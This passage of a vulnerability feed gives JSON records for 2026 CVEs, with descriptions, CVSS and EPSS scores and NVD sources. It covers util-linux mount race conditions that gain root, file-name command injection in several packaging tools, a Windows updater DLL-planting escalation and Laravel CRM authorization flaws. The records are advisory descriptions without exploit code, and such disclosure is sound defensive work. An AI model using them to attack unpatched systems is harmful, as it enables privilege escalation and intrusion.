EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-66877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-66877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53613","cveId":"CVE-2026-53613","aliases":[],"kind":"vulnerability","title":"util-linux is a random collection of Linux utilities.","summary":"util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.","detail":"util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:20.410Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53613","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00163,"percentile":0.0546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53613","type":"primary","publishedAt":"2026-10-14T15:17:20.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53612","cveId":"CVE-2026-53612","aliases":[],"kind":"vulnerability","title":"util-linux is a random collection of Linux utilities.","summary":"util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.","detail":"util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:20.260Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53612","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00152,"percentile":0.04292,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53612","type":"primary","publishedAt":"2026-10-14T15:17:20.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110648","cveId":"CVE-2026-110648","aliases":[],"kind":"vulnerability","title":"@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names.","summary":"@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names. Font paths are interpolated unquoted into a FontForge command run through child_process.execSync, so shell metacharacters in file names execute commands with the Node.js process privileges.","detail":"@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names. Font paths are interpolated unquoted into a FontForge command run through child_process.execSync, so shell metacharacters in file names execute commands with the Node.js process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.510Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110648","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.01146,"percentile":0.66535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110648","type":"primary","publishedAt":"2026-10-14T15:17:18.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110647","cveId":"CVE-2026-110647","aliases":[],"kind":"vulnerability","title":"Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names.","summary":"Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. The convertDocxToHtml function in src/converter.ts invokes pandoc through execa with shell:true, so shell metacharacters in the --docx path run with the victim's privileges during convert or create.","detail":"Turnpress through 0.4.2 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying .docx files with crafted names. The convertDocxToHtml function in src/converter.ts invokes pandoc through execa with shell:true, so shell metacharacters in the --docx path run with the victim's privileges during convert or create.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:18.373Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110647","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.01037,"percentile":0.6368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110647","type":"primary","publishedAt":"2026-10-14T15:17:18.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110642","cveId":"CVE-2026-110642","aliases":[],"kind":"vulnerability","title":"xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into...","summary":"xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into os.system. Attackers can supply an input file whose name contains a double quote and shell metacharacters, which runs OS commands as the invoking user when the pisa tool is used with -s/--start-viewer.","detail":"xhtml2pdf before 0.2.19 contains an OS command injection vulnerability in pisa.startViewer() that allows attackers to execute commands by interpolating unescaped file names into os.system. Attackers can supply an input file whose name contains a double quote and shell metacharacters, which runs OS commands as the invoking user when the pisa tool is used with -s/--start-viewer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.627Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110642","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.0113,"percentile":0.6618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110642","type":"primary","publishedAt":"2026-10-14T15:17:17.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110641","cveId":"CVE-2026-110641","aliases":[],"kind":"vulnerability","title":"@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to...","summary":"@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to compress_file. Attackers who can name a file dropped into a watched directory can inject $() substitutions or unquoted shell metacharacters into shelljs exec() calls, running commands with Runnerty process privileges.","detail":"@runnerty/executor-decompress through 3.1.1 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted archive file names to compress_file. Attackers who can name a file dropped into a watched directory can inject $() substitutions or unquoted shell metacharacters into shelljs exec() calls, running commands with Runnerty process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:17.437Z","updatedAt":"2026-10-20T02:17:09.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110641","asOf":"2026-10-20T02:17:09.973Z"},"epss":{"probability":0.02515,"percentile":0.84692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110641","type":"primary","publishedAt":"2026-10-14T15:17:17.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110637","cveId":"CVE-2026-110637","aliases":[],"kind":"vulnerability","title":"buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to...","summary":"buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to kindlegen via child_process.exec. Attackers can craft a book project with a malicious front-matter filename or project folder name and kindle: true to execute OS commands as the user running buildebooks.","detail":"buildebooks before 0.2.2 contains an OS command injection vulnerability in lib/kindle.js that allows attackers to execute commands by supplying a crafted EPUB file name passed to kindlegen via child_process.exec. Attackers can craft a book project with a malicious front-matter filename or project folder name and kindle: true to execute OS commands as the user running buildebooks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.853Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110637","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.01146,"percentile":0.66536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110637","type":"primary","publishedAt":"2026-10-14T15:17:16.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110633","cveId":"CVE-2026-110633","aliases":[],"kind":"vulnerability","title":"MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied...","summary":"MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied archives into arbitrary directories. Attackers can use UpdaterManager.exe over gRPC to set a malicious reference server and installLocation, planting a DLL like HID.dll loaded by osk.exe to gain SYSTEM privileges.","detail":"MyReport Updater through 2.1.1 contains a local privilege escalation vulnerability that allows low-privileged users to make the SYSTEM updater service install attacker-supplied archives into arbitrary directories. Attackers can use UpdaterManager.exe over gRPC to set a malicious reference server and installLocation, planting a DLL like HID.dll loaded by osk.exe to gain SYSTEM privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:16.283Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110633","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00137,"percentile":0.03062,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110633","type":"primary","publishedAt":"2026-10-14T15:17:16.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110630","cveId":"CVE-2026-110630","aliases":[],"kind":"vulnerability","title":"VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles...","summary":"VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles via Role::find. Attackers with user-management access can assign the Owner role or other teams' roles and delete cross-team users through the unscoped UserIndex delete() method.","detail":"VentureDrake Laravel CRM before 2.4.0 contains an incorrect authorization vulnerability in user management that allows authenticated administrators to assign unrestricted roles via Role::find. Attackers with user-management access can assign the Owner role or other teams' roles and delete cross-team users through the unscoped UserIndex delete() method.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:15.843Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110630","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00637,"percentile":0.50259,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110630","type":"primary","publishedAt":"2026-10-14T15:17:15.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110629","cveId":"CVE-2026-110629","aliases":[],"kind":"vulnerability","title":"VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action...","summary":"VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action methods. Read-only users can invoke delete, won, lost or reopen methods on components like DealIndex, or use unguarded Activities and Products routes, to modify deals, quotes, orders and invoices.","detail":"VentureDrake Laravel CRM before 2.4.0 contains a missing authorization vulnerability that allows authenticated users to bypass Spatie role permissions through Livewire action methods. Read-only users can invoke delete, won, lost or reopen methods on components like DealIndex, or use unguarded Activities and Products routes, to modify deals, quotes, orders and invoices.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T15:17:15.700Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110629","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00574,"percentile":0.47105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110629&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110629","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110629","type":"primary","publishedAt":"2026-10-14T15:17:15.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured 